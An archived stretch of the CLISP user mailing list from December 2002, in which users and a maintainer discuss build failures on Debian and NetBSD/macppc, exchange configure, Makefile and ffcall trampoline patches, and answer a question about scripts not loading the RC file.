<87r8cni545.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87ptrxvoe4.fsf@merceron.meteo.fr> Lines: 49 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 19 10:46:05 2002 X-Original-Date: 19 Dec 2002 19:45:23 +0100 Concerning the read-integer, read-float, etc... problem, the CVS from 17 December seems fine, at least for reading float and positive integers. The same code in CVS solves the localization problem. But I forgot to mention a still unresolved issue, encountered when compiling on a Debian woody system, without libncurses-dev. You must add manually to CFLAGS -DNO_TERMCAP_NCURSES, or at linking lisp.run, there will be unresolved references to termcap functions. libtermcap is not detected (that means detected "broken"), but obviously, the following code in makemake.in is not working properly: if [ "${with_termcap_ncurses}" = "0" -o "${LIBTERMCAP}" = "broken" ] ; then XCFLAGS=$XCFLAGS' -DNO_TERMCAP_NCURSES' LIBTERMCAP=""; fi (around line 700) In addition, you must apply the following patch: *** ../src/stream.dORI Thu Dec 19 19:40:37 2002 --- ../src/stream.d Wed Dec 18 19:03:54 2002 *************** *** 14812,14815 **** --- 14812,14816 ---- if (char_p) *char_p = true; return; + #ifdef KEYBOARD case strmtype_keyboard: if (in_sock) *************** *** 14817,14820 **** --- 14818,14822 ---- if (char_p) *char_p = true; return; + #endif case strmtype_twoway_socket: obj = TheStream(obj)->strm_twoway_socket_input; Rebuilding from source the .deb clisp-2.30 package does not trigger the bug, as package libncurses-dev is required. So there lies the problem (patch recommended though) Sincerely. -- Bernard Urban From sds@gnu.org Thu Dec 19 11:50:17 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18P6gT-0002E0-00 for ; Thu, 19 Dec 2002 11:50:17 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021219195010.CLHW24616.pop015.verizon.net@loiso.podval.org>; Thu, 19 Dec 2002 13:50:10 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBJJqA9O032401; Thu, 19 Dec 2002 14:52:10 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBJJq9aI032397; Thu, 19 Dec 2002 14:52:09 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> <87r8cni545.fsf@merceron.meteo.fr> <87ptrxvoe4.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87ptrxvoe4.fsf@merceron.meteo.fr> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.32.163] at Thu, 19 Dec 2002 13:50:10 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 19 11:51:02 2002 X-Original-Date: 19 Dec 2002 14:52:09 -0500 > * In message <87ptrxvoe4.fsf@merceron.meteo.fr> > * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more" > * Sent on 19 Dec 2002 19:45:23 +0100 > * Honorable Bernard Urban writes: > > I forgot to mention a still unresolved issue, encountered when > compiling on a Debian woody system, without libncurses-dev. You must > add manually to CFLAGS -DNO_TERMCAP_NCURSES, or at linking lisp.run, > there will be unresolved references to termcap functions. libtermcap > is not detected (that means detected "broken"), but obviously, the > following code in makemake.in is not working properly: > > if [ "${with_termcap_ncurses}" = "0" -o "${LIBTERMCAP}" = "broken" ] ; then > XCFLAGS=$XCFLAGS' -DNO_TERMCAP_NCURSES' > LIBTERMCAP=""; > fi please look at the top of Makefile - what parameters were passed to makemake? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux MS Windows: error: the operation completed successfully. From sds@gnu.org Thu Dec 19 12:02:50 2002 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18P6mi-0003KH-00 for ; Thu, 19 Dec 2002 11:56:44 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021219195637.GVQF21770.out003.verizon.net@loiso.podval.org>; Thu, 19 Dec 2002 13:56:37 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBJJwb9O032436; Thu, 19 Dec 2002 14:58:38 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBJJwbgO032432; Thu, 19 Dec 2002 14:58:37 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> <87r8cni545.fsf@merceron.meteo.fr> <87znr1vqi2.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87znr1vqi2.fsf@merceron.meteo.fr> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.32.163] at Thu, 19 Dec 2002 13:56:37 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 19 12:03:04 2002 X-Original-Date: 19 Dec 2002 14:58:37 -0500 > * In message <87znr1vqi2.fsf@merceron.meteo.fr> > * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more" > * Sent on 19 Dec 2002 18:59:49 +0100 > * Honorable Bernard Urban writes: > > Sam Steingold writes: > > can you give me more binary representations of floats and integers in > > various endiannesses? > > Here is a simplified version of the data which started all this: > And lisp code to test the reading of this data: this is not too useful as is. could you please do as you did with 1d0, e.g.: (#x3f #xf0 0 0 0 0 0 0) <--> 1d0 big endian (0 0 0 0 0 0 #xf0 #x3f) <--> 1d0 little thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Bill Gates is great, as long as `bill' is a verb. From ngps@netmemetic.com Thu Dec 19 20:15:57 2002 Received: from bb-203-125-44-193.singnet.com.sg ([203.125.44.193] helo=vista.netmemetic.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18PEZo-00027m-00 for ; Thu, 19 Dec 2002 20:15:57 -0800 Received: by vista.netmemetic.com (Postfix, from userid 100) id 609F95BE; Fri, 20 Dec 2002 11:45:40 +0800 (SGT) From: Ng Pheng Siong To: clisp-list@lists.sourceforge.net Message-ID: <20021220034540.GB619@vista.netmemetic.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Subject: [clisp-list] Script cannot find package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 19 20:16:02 2002 X-Original-Date: Fri, 20 Dec 2002 11:45:40 +0800 Hi, I'm playing with CLISP and Kevin Rosenberg's LML, a HTML generator. A simple LML program looks like this: (in-package :lml) (page index (head (title "Testing")) (body (h1 "Welcome"))) Running CLISP interactively, with :lml loaded via .clisprc.lisp, the above works. When I put the above code into a file, added "#!/usr/local/bin/clisp" to it, and run it from the shell, I get: $ ./index.lisp *** - SYSTEM::%FIND-PACKAGE: There is no package with name "LML" This is CLISP 2.30 on FreeBSD 4.7. I must be missing something simple... Hints appreciated. Cheers. -- Ng Pheng Siong * http://www.netmemetic.com From sds@gnu.org Fri Dec 20 06:44:03 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18PODj-0006JY-00 for ; Fri, 20 Dec 2002 06:33:48 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out006.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021220143341.MBBU19982.out006.verizon.net@loiso.podval.org>; Fri, 20 Dec 2002 08:33:41 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBKEZr9O002256; Fri, 20 Dec 2002 09:35:53 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBKEZquu002252; Fri, 20 Dec 2002 09:35:52 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Ng Pheng Siong Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Script cannot find package References: <20021220034540.GB619@vista.netmemetic.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021220034540.GB619@vista.netmemetic.com> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out006.verizon.net from [151.203.32.163] at Fri, 20 Dec 2002 08:33:41 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 20 06:45:01 2002 X-Original-Date: 20 Dec 2002 09:35:52 -0500 > * In message <20021220034540.GB619@vista.netmemetic.com> > * On the subject of "[clisp-list] Script cannot find package" > * Sent on Fri, 20 Dec 2002 11:45:40 +0800 > * Honorable Ng Pheng Siong writes: > > Running CLISP interactively, with :lml loaded via .clisprc.lisp, the > above works. > > When I put the above code into a file, added "#!/usr/local/bin/clisp" to > it, and run it from the shell, I get: > *** - SYSTEM::%FIND-PACKAGE: There is no package with name "LML" scripts do not load RC. dump your image or load LML from your scripts explicitly. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux In C you can make mistakes, while in C++ you can also inherit them! From russell_mcmanus@yahoo.com Fri Dec 20 10:59:29 2002 Received: from bgp485821bgs.summit01.nj.comcast.net ([68.37.179.230] helo=thelonious.dyndns.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18PSLO-00013L-00 for ; Fri, 20 Dec 2002 10:57:58 -0800 Received: (from russe@localhost) by thelonious.dyndns.org (8.11.6/8.11.6) id gBKIxMB20419; Fri, 20 Dec 2002 13:59:22 -0500 (EST) X-Authentication-Warning: thelonious.dyndns.org: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@lists.sourceforge.net From: Russell McManus Message-ID: <87wum47bzr.fsf@thelonious.dyndns.org> Lines: 38 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Subject: [clisp-list] compilation issues on NetBSD-1.6 macppc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 20 11:00:06 2002 X-Original-Date: 20 Dec 2002 13:59:20 -0500 --=-=-= I am running clisp-2.27 on a NetBSD-1.6 macppc machine. I would like to upgrade to clisp-2.30, but I am having trouble getting 2.30 to compile. clisp-2.27 also does not compile on this platform without some patches. I don't think that these patches have been merged back into the clisp source tree, because the changes don't show up in the 2.30 sources. I have attached the patch files to this email message in the hopes that they may be applied and checked into CVS. After applying the patches needed to get 2.27 to compile to a 2.30 source tree, I am still having trouble with the compilation. I will send another email to the list describing the problems in more detail. -russ --=-=-= Content-Disposition: attachment; filename=patch-aa Content-Description: patch-aa $NetBSD: patch-aa,v 1.9 2002/02/21 04:13:21 dillo Exp $ --- ../configure.orig Tue May 8 16:09:59 2001 +++ ../configure @@ -512,13 +512,6 @@ makemake_args="$makemake_args --with-nogettext" fi fi -if test -d $ABS_DIRNAME/avcall -a -d $ABS_DIRNAME/callback; then - (cd $ABS_DIRNAME/avcall && make) && - (cd $ABS_DIRNAME/callback && make) && - (cd $ABS_DIRNAME/avcall && make check) && - (cd $ABS_DIRNAME/callback && make check) && - makemake_args="$makemake_args --with-dynamic-ffi" -fi if test -z "$do_build"; then --=-=-= Content-Disposition: attachment; filename=patch-ab Content-Description: patch-ab $NetBSD: patch-ab,v 1.4 2002/03/14 07:44:23 jmc Exp $ --- .././ffcall/avcall/Makefile.in.orig Tue Jun 12 07:31:01 2001 +++ .././ffcall/avcall/Makefile.in Wed Mar 6 05:38:16 2002 @@ -117,12 +117,12 @@ case "$(OS)" in \ aix3*) syntax=aix.old;; \ aix*) syntax=aix.new;; \ - linux*) syntax=linux;; \ + linux* | netbsd*) syntax=linux;; \ *) syntax=sysv4;; \ esac; \ $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/avcall-rs6000-$${syntax}.s ; \ - cp avcall-rs6000-$${syntax}.lo avcall-rs6000.lo ; rm -f avcall-rs6000-$${syntax}.lo ; \ - if test -f avcall-rs6000-$${syntax}.o; then mv avcall-rs6000-$${syntax}.o avcall-rs6000.o; fi + cp avcall-rs6000-$${syntax}.lo avcall-rs6000.lo ; \ + if test -f avcall-rs6000-$${syntax}.o; then cp avcall-rs6000-$${syntax}.o avcall-rs6000.o; fi avcall-m88k.lo : $(srcdir)/avcall-m88k.s $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/avcall-m88k.s --=-=-= Content-Disposition: attachment; filename=patch-ac Content-Description: patch-ac $NetBSD: patch-ac,v 1.4 2002/03/14 07:44:23 jmc Exp $ --- .././ffcall/vacall/Makefile.in.orig Tue Mar 5 09:50:39 2002 +++ .././ffcall/vacall/Makefile.in Wed Mar 6 05:38:50 2002 @@ -108,11 +108,11 @@ case "$(OS)" in \ aix3*) syntax=aix.old;; \ aix*) syntax=aix.new;; \ - linux*) syntax=linux;; \ + linux* | netbsd*) syntax=linux;; \ *) syntax=sysv4;; \ esac; \ $(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-rs6000-$${syntax}.s ; \ - mv vacall-rs6000-$${syntax}.o vacall-rs6000.o + cp vacall-rs6000-$${syntax}.o vacall-rs6000.o vacall-m88k.o : $(srcdir)/vacall-m88k.s $(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-m88k.s --=-=-= Content-Disposition: attachment; filename=patch-ad Content-Description: patch-ad $NetBSD: patch-ad,v 1.4 2002/03/14 07:44:23 jmc Exp $ --- ../ffcall/callback/vacall_r/Makefile.in.orig Tue Jun 12 07:31:01 2001 +++ ../ffcall/callback/vacall_r/Makefile.in Thu Mar 14 07:13:43 2002 @@ -118,11 +118,12 @@ aix3*) syntax=aix.old;; \ aix*) syntax=aix.new;; \ linux*) syntax=linux;; \ + netbsd*) syntax=netbsd;; \ *) syntax=sysv4;; \ esac; \ $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-rs6000-$${syntax}.s ; \ - cp vacall-rs6000-$${syntax}.lo vacall-rs6000.lo ; rm -f vacall-rs6000-$${syntax}.lo ; \ - if test -f vacall-rs6000-$${syntax}.o; then mv vacall-rs6000-$${syntax}.o vacall-rs6000.o; fi + cp vacall-rs6000-$${syntax}.lo vacall-rs6000.lo ; \ + if test -f vacall-rs6000-$${syntax}.o; then cp vacall-rs6000-$${syntax}.o vacall-rs6000.o; fi vacall-m88k.lo : $(srcdir)/vacall-m88k.s $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-m88k.s --=-=-= Content-Disposition: attachment; filename=patch-ae Content-Description: patch-ae $NetBSD: patch-ae,v 1.4 2002/03/14 07:44:23 jmc Exp $ --- ../ffcall/callback/trampoline_r/Makefile.in.orig Tue Mar 5 09:57:45 2002 +++ ../ffcall/callback/trampoline_r/Makefile.in Tue Mar 5 09:57:54 2002 @@ -90,7 +90,7 @@ $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-hppa.s cache-rs6000.lo : $(srcdir)/cache-rs6000-sysv4.s - $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-rs6000-sysv4.s ; mv -f cache-rs6000-sysv4.o cache-rs6000.o ; mv -f cache-rs6000-sysv4.lo cache-rs6000.lo + $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-rs6000-sysv4.s ; cp cache-rs6000-sysv4.o cache-rs6000.o ; mv cache-rs6000-sysv4.lo cache-rs6000.lo cache-convex.lo : $(srcdir)/cache-convex.s $(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-convex.s --=-=-= Content-Disposition: attachment; filename=patch-af Content-Description: patch-af $NetBSD: patch-af,v 1.3 2002/03/14 07:44:23 jmc Exp $ --- lispbibl.d.orig Tue Mar 5 20:53:41 2002 +++ lispbibl.d Tue Mar 5 20:55:32 2002 @@ -1400,7 +1400,7 @@ #define intBWsize intBsize #define intWLsize intWsize #define intBWLsize intBsize - #elif (defined(MC680X0) && defined(HPUX_ASSEMBLER)) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(CONVEX) || defined(S390) + #elif (defined(MC680X0) && defined(HPUX_ASSEMBLER)) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(CONVEX) || defined(S390) || defined(__powerpc__) # Der Sparc-Prozessor kann mit uintB und uintW schlecht rechnen. # Anderen 32-Bit-Prozessoren geht es genauso. #define intBWsize intWsize @@ -1593,7 +1593,7 @@ #define intDsize 16 #define intDDsize 32 # = 2*intDsize #define log2_intDsize 4 # = log2(intDsize) - #elif defined(MC680Y0) || defined(I80386) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(VAX) || defined(CONVEX) || defined(ARM) || defined(DECALPHA) || defined(IA64) || defined(S390) + #elif defined(MC680Y0) || defined(I80386) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(VAX) || defined(CONVEX) || defined(ARM) || defined(DECALPHA) || defined(IA64) || defined(S390) || defined(__powerpc__) #define intDsize 32 #define intDDsize 64 # = 2*intDsize #define log2_intDsize 5 # = log2(intDsize) --=-=-= Content-Disposition: attachment; filename=patch-ag Content-Description: patch-ag $NetBSD: patch-ag,v 1.1 2002/03/14 07:44:23 jmc Exp $ --- ../ffcall/callback/trampoline_r/test1.c.orig Thu Mar 14 07:22:04 2002 +++ ../ffcall/callback/trampoline_r/test1.c Thu Mar 14 07:22:07 2002 @@ -69,7 +69,11 @@ register void* env __asm__("r12"); #endif #ifdef __rs6000__ +#ifdef __NetBSD__ +register void* env __asm__("r13"); +#else register void* env __asm__("r11"); +#endif #endif #ifdef __m88k__ register void* env __asm__("r11"); --=-=-= Content-Disposition: attachment; filename=patch-ah Content-Description: patch-ah $NetBSD: patch-ah,v 1.1 2002/03/14 07:44:23 jmc Exp $ --- ../ffcall/callback/trampoline_r/trampoline.c.orig Thu Mar 14 07:23:32 2002 +++ ../ffcall/callback/trampoline_r/trampoline.c Thu Mar 14 07:23:35 2002 @@ -21,12 +21,16 @@ #endif #endif #if defined(__rs6000__) +#if defined(__NetBSD__) +#define __powerpcnetbsd__ +#else #if !defined(_AIX) #define __rs6000sysv4__ /* SysV.4 ABI, real machine code. */ #else #define __rs6000aix__ /* AIX ABI, just a closure. */ #endif #endif +#endif #if defined(__hppanew__) /* * A function pointer is a biased pointer to a data area whose first word @@ -259,7 +263,7 @@ #include #endif /* Inline assembly function for instruction cache flush. */ -#if defined(__sparc__) || defined(__sparc64__) || defined(__alpha__) || defined(__hppaold__) || defined(__rs6000sysv4__) || defined(__convex__) +#if defined(__sparc__) || defined(__sparc64__) || defined(__alpha__) || defined(__hppaold__) || defined(__rs6000sysv4__) || defined(__convex__) || defined(__powerpcnetbsd__) #ifdef __GNUC__ extern inline #if defined(__sparc__) || defined(__sparc64__) @@ -336,7 +340,7 @@ #define TRAMP_LENGTH 32 #define TRAMP_ALIGN 4 #endif -#ifdef __rs6000sysv4__ +#if defined(__rs6000sysv4__) || defined(__powerpcnetbsd__) #define TRAMP_LENGTH 24 #define TRAMP_ALIGN 4 #endif @@ -872,6 +876,39 @@ #define is_tramp(function) \ *(unsigned short *) (function + 0) == 0x3D60 && \ *(unsigned short *) (function + 4) == 0x616B && \ + *(unsigned short *) (function + 8) == 0x3C00 && \ + *(unsigned short *) (function +12) == 0x6000 && \ + *(unsigned long *) (function +16) == 0x7C0903A6 && \ + *(unsigned long *) (function +20) == 0x4E800420 +#define hilo(hiword,loword) \ + (((unsigned long) (hiword) << 16) | (unsigned long) (loword)) +#define tramp_address(function) \ + hilo(*(unsigned short *) (function +10), *(unsigned short *) (function +14)) +#define tramp_data(function) \ + hilo(*(unsigned short *) (function + 2), *(unsigned short *) (function + 6)) +#endif +#ifdef __powerpcnetbsd__ + /* function: + * {liu|lis} 13,hi16() 3D A0 hi16() + * {oril|ori} 13,13,lo16() 61 AD lo16() + * {liu|lis} 0,hi16(
) 3C 00 hi16(
) + * {oril|ori} 0,0,lo16(
) 60 00 lo16(
) + * mtctr 0 7C 09 03 A6 + * bctr 4E 80 04 20 + */ + *(short *) (function + 0) = 0x3DA0; + *(short *) (function + 2) = (unsigned long) data >> 16; + *(short *) (function + 4) = 0x61AD; + *(short *) (function + 6) = (unsigned long) data & 0xffff; + *(short *) (function + 8) = 0x3C00; + *(short *) (function +10) = (unsigned long) address >> 16; + *(short *) (function +12) = 0x6000; + *(short *) (function +14) = (unsigned long) address & 0xffff; + *(long *) (function +16) = 0x7C0903A6; + *(long *) (function +20) = 0x4E800420; +#define is_tramp(function) \ + *(unsigned short *) (function + 0) == 0x3DA0 && \ + *(unsigned short *) (function + 4) == 0x61AD && \ *(unsigned short *) (function + 8) == 0x3C00 && \ *(unsigned short *) (function +12) == 0x6000 && \ *(unsigned long *) (function +16) == 0x7C0903A6 && \ --=-=-=-- From russell_mcmanus@yahoo.com Fri Dec 20 14:05:52 2002 Received: from bgp485821bgs.summit01.nj.comcast.net ([68.37.179.230] helo=thelonious.dyndns.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18PVFl-0006gT-00 for ; Fri, 20 Dec 2002 14:04:21 -0800 Received: (from russe@localhost) by thelonious.dyndns.org (8.11.6/8.11.6) id gBKM5iu26912; Fri, 20 Dec 2002 17:05:44 -0500 (EST) X-Authentication-Warning: thelonious.dyndns.org: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compilation issues on NetBSD-1.6 macppc References: <87wum47bzr.fsf@thelonious.dyndns.org> From: Russell McManus In-Reply-To: <87wum47bzr.fsf@thelonious.dyndns.org> Message-ID: <87of7g73d4.fsf@thelonious.dyndns.org> Lines: 40 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 20 14:06:04 2002 X-Original-Date: 20 Dec 2002 17:05:43 -0500 After applying the 2.27 patches as best as possible, I configured clisp with makemake --with-noreadline > Makefile I get pretty far along, but stream.c does not compile: /export/compile/clisp-2.30/with-gcc [74]$ make make test -d bindings || mkdir -p bindings gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c stream.d: In function `lisp_completion': stream.d:9168: warning: implicit declaration of function `rl_refresh_line' stream.d:9182: warning: variable `array' might be clobbered by `longjmp' or `vfork' stream.d:9189: warning: variable `ptr' might be clobbered by `longjmp' or `vfork' stream.d:9205: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork' stream.d: In function `rd_ch_terminal3': stream.d:9734: warning: implicit declaration of function `rl_stuff_char' stream.d:9749: `rl_basic_quote_characters' undeclared (first use in this function) stream.d:9749: (Each undeclared identifier is reported only once stream.d:9749: for each function it appears in.) stream.d:9753: `rl_already_prompted' undeclared (first use in this function) stream.d:9807: warning: implicit declaration of function `replace_history_entry' stream.d:9807: warning: assignment makes pointer from integer without a cast stream.d:9809: warning: passing arg 1 of `free' discards qualifiers from pointer target type stream.d: In function `make_terminal_stream_': stream.d:10070: `rl_gnu_readline_p' undeclared (first use in this function) stream.d: In function `init_streamvars': stream.d:15293: warning: implicit declaration of function `rl_named_function' stream.d:15293: warning: passing arg 2 of `rl_bind_key' makes pointer from integer without a cast stream.d:15297: warning: implicit declaration of function `rl_variable_bind' stream.d:15300: warning: implicit declaration of function `rl_add_defun' stream.d:15300: warning: implicit declaration of function `META' stream.d: In function `rl_memory_abort': stream.d:15410: warning: implicit declaration of function `rl_deprep_terminal' stream.d:15412: `rl_gnu_readline_p' undeclared (first use in this function) *** Error code 1 Stop. make: stopped in /export/compile/clisp-2.30/with-gcc From sds@gnu.org Fri Dec 20 14:16:37 2002 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18PVRd-0000oZ-00 for ; Fri, 20 Dec 2002 14:16:37 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021220221625.YTIW19422.out005.verizon.net@loiso.podval.org>; Fri, 20 Dec 2002 16:16:25 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBKMIg9O011818; Fri, 20 Dec 2002 17:18:42 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBKMIcih011814; Fri, 20 Dec 2002 17:18:38 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Russell McManus Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compilation issues on NetBSD-1.6 macppc References: <87wum47bzr.fsf@thelonious.dyndns.org> <87of7g73d4.fsf@thelonious.dyndns.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87of7g73d4.fsf@thelonious.dyndns.org> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out005.verizon.net from [151.203.32.163] at Fri, 20 Dec 2002 16:16:25 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 20 14:17:02 2002 X-Original-Date: 20 Dec 2002 17:18:38 -0500 > * In message <87of7g73d4.fsf@thelonious.dyndns.org> > * On the subject of "Re: [clisp-list] compilation issues on NetBSD-1.6 macppc" > * Sent on 20 Dec 2002 17:05:43 -0500 > * Honorable Russell McManus 